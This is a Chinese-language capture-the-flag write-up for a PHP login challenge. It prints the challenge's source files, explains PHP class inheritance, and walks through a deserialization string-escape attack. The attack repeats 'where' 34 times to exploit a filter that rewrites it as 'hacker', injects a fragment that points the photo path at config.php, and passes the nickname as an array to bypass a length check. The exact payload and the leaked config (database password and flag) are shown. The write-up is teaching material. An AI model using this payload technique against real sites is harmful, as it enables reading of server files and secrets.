打开环境,是个登陆页面:
一开始以为是SQL注入,结果尝试了很久都没成功,在源码中也没发现,那就用dirsearch扫描一下,得到一个www.zip,里面有几个文件:
register.php:
<?php
require_once('class.php');
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16) //username和password的长度都要大于3小于16
die('Invalid password');
if(!$user->is_exists($username)) {//is_exists和register函数都是class.php中的内置函数
$user->register($username, $password);
echo 'Register OK!<a href="index.php">Please Login</a>';
}
else {
die('User name Already Exists');
}
}
else {
?>
是注册页面,对应的就是这个页面:
再看看update.php:
<?php
require_once('class.php');//包含class.php
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {//$_FILES是经由 HTTP POST 文件上传而提交至脚本的变量。
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))//电话长度为11
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))//邮箱地址只能为数字,字母和@
die('Invalid email');
if(!preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)//nickname只能有字母和数字且长度小于10
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)//图片尺寸要在5到100
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));//将文件移动到upload/md5($file['name']
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));//update_profile函数也是class.php中的自定义函数,其中一个参数为变量$profile序列化结果。
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
就是完善信息的页面,对应页面:
再看profile.php:
<?php
require_once('class.php');//包含class.php
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);//show_profile函数也是class.php中的函数
if($profile == null) {
header('Location: update.php');//信息为空就重定向到update.php
}
else {
$profile = unserialize($profile);将变量$profile反序列化
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));//看到file_get_contents函数就像到用它读取源码。
?>
包含flag但无法访问的config.php:
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>
最后是class.php,也是最长的:
<?php
require('config.php');//包含config.php
class user extends mysql{//创建函数mysql的子类user
private $table = 'users';
public function is_exists($username) {
$username = parent::filter($username);//调用父类mysql中的filter函数
$where = "username = '$username'";
return parent::select($this->table, $where);//调用父类mysql中的select函数
}
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);//调用父类mysql中的filter函数
$key_list = Array('username', 'password');
$value_list = Array($username, md5($password));
return parent::insert($this->table, $key_list, $value_list);
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
}
class mysql {
private $link = null;
public function connect($config) {
$this->link = mysql_connect(
$config['hostname'],
$config['username'],
$config['password']
);
mysql_select_db($config['database']);
mysql_query("SET sql_mode='strict_all_tables'");
return $this->link;
}
public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);//mysql_query() 函数执行一条 MySQL 查询
return mysql_fetch_object($result);//PHP 操作 MySQL 的函数 mysql_fetch_object() 用于从结果集中取得一行作为对象,成功返回一个对象,否则返回 FALSE
}
public function insert($table, $key_list, $value_list) {
$key = implode(',', $key_list);
$value = '\'' . implode('\',\'', $value_list) . '\'';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}
public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);//update函数的作用则是将它存放到了mysql数据库当中
}
public function filter($string) {//filter函数的作用是将update_profile函数的参数用正则再过滤了一遍
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);//将传入的值中的"\"和"\\"替换为"_"
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);//将传入的值中的'select', 'insert', 'update', 'delete', 'where'替换为hacker,其中只有where为5个字符,其余都和hacker一样6个字符。
}
public function __tostring() {
return __class__;
}
}
session_start();//读取名为PHPSESSID(如果没有改变默认值)的cookie值,若读取到PHPSESSID这个COOKIE,创建$_SESSION变量,并从相应的目录中(可以再php.ini中设置)。
$user = new user();//实例化user
$user->connect($config);
?>
里面出现了extends和parent::,什么意思呢?
这就涉及父类和子类,什么是父类和子类呢?下面是网上的解释:
父类和子类,就例如:老子和儿子,有着父子关系。而这里指的父子关系,其实也就是一种包含关系。打个比方,在我们现实生活中,学生Student是一个很大的概念,而U_Student大学生是属于学生中的一种,这里的学生即为父类,大学生即为子类。
父类和子类区别在哪?
学生和大学生都会有学习Study这个方法,但是大学生还会有自己特有的Study方法,两者还是有一定区别的,大学生的学习相较于其他学生来说,是更自由的。假如现在已经有一个学生(Student)类,然后我还要写一个大学生(U_Student)类,然后大学生UStudent类里有很多方法和Student里的方法都相同,但是还是有一小部分不同,怎样解决呢?难道还要重新写一个大学生类,并且重复敲一遍和学生类中一样的代码吗?那样浪费了时间和精力,并且浪费了存储空间,是很不划算的。所以,就有了“继承”。
子类继承父类,就是子类能引用父类中的某些东西。继承的关键字是extends,
例如:
public class Student(){}//父类
public class U_Student extends Student(){}//子类继承了父类
当子类和父类用一个同名方法,但是子类的实现却和父类不同,用到"方法重写"。
重写是指方法定义相同,但是实现不同,存在于父子类之间。
例如:
//父类
public class Student(){
//学习方法
public void study(){
System.out.println("我通过听老师讲课学习");
}
}
//子类
public class UStudent extends Student(){
public void study(){
System.out.println("我通过自习去学习");
}
}
被继承的方法和属性可以通过用同样的名字重新声明被覆盖。但是如果父类定义方法时使用了 final,则该方法不可被覆盖。可以通过 parent:: 来访问被覆盖的方法或属性。
整个逻辑就是:register->login->update->profile,而class.php中是定义了一些要用到的函数
我们要读取config.php从而得到flag,读取config.php需要替换$profile[‘photo’],也就是要让config,php成为序列化的一部分,可以利用的是反序列化字符串逃逸。将$profile[''photo] = "config.php"
,这样config.php
的内容就能base64出来,但跟进发现其实$profile['photo']
是修改不了的。
之所以会想到字符串逃逸,是因为保存序列化结果之前,还会再次过滤:
经过filter函数替换时如果将where替换为hacker时会产生长度变化,多出来的长度就能让字符逃逸,就是说where在被正则替换后,其本身的长度会加1,如果我们构造34个where,那么在传入后端之后hacker的长度就会将我们目标逃逸字符挤掉,在后端中,反序列化是以";}结束的,因此如果我们把";}带入需要反序列化的字符串中(除了结尾处),就能让反序列化提前结束而后面的内容就会被丢弃。
如果不懂字符串逃逸的可以去看看这篇:浅析php反序列化字符串逃逸_Lemon's blog-CSDN博客
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));//将文件移动到upload/md5($file['name']
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
这个$profile变量正常传入值后,序列化得到:
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:12:"12345@qq.com";s:8:"nickname";s:3:"123";s:5:"photo";s:39:"upload/07cc694b9b3fc636710fa08b6922c42b";}
然后我们将config.php从nickname后面塞入";s:5:"photo";s:10:"config.php";}
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:12:"12345@qq.com";s:8:"nickname";s:3:"123";s:5:"photo";s:10:"config.php";}s:39:"upload/07cc694b9b3fc636710fa08b6922c42b";}
但是nickname存在长度限制:
if(!preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)//nickname只能有字母和数字且长度小于10
die('Invalid nickname');
所以这样直接是不行的,我们要先解决这个长度问题,我们知道如果传递数组进去,那么preg_match
会返回flase,就能绕过长度限制。
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:12:"12345@qq.com";s:8:"nickname";a:1:{i:0;s:3:"123";}s:5:"photo";s:10:"config.php";}s:39:"upload/07cc694b9b3fc636710fa08b6922c42b";}
接着修改nickname的值:
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:12:"12345@qq.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}s:39:"upload/07cc694b9b3fc636710fa08b6922c42b";}
细节的老哥可能就发现了";}s:5:"photo";s:10:"config.php";}
它比原本预期的答案前面多了一个},因为将nickname改为数组时,它在序列化时不会像字符一样闭合,所以要加多一个"}"
替换后:
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:12:"12345@qq.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}
这样一来,s:204:"34*hacker";}s:5:"photo";s:10:"config.php";}s:39:"upload/07cc694b9b3fc636710fa08b6922c42b";}红色的部分就都作为nickname的值存在,蓝色部分因为s只有204个字符就没有意义了,逃逸成功。
所以最后nickname传的值为:
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
验证一下:
接着注册之后登陆,进入到update.php页面,输入信息及上传图片,用bp抓包把nickname改成数组即可:
将图片的base64:
PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFnezE4YTU5MThmLTI5MDktNDZkYy1hYjRkLTNmZWMxMjQ2NWE2OX0nOwo/Pgo=
解码得:
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'flag{18a5918f-2909-46dc-ab4d-3fec12465a69}';
?>
得到答案。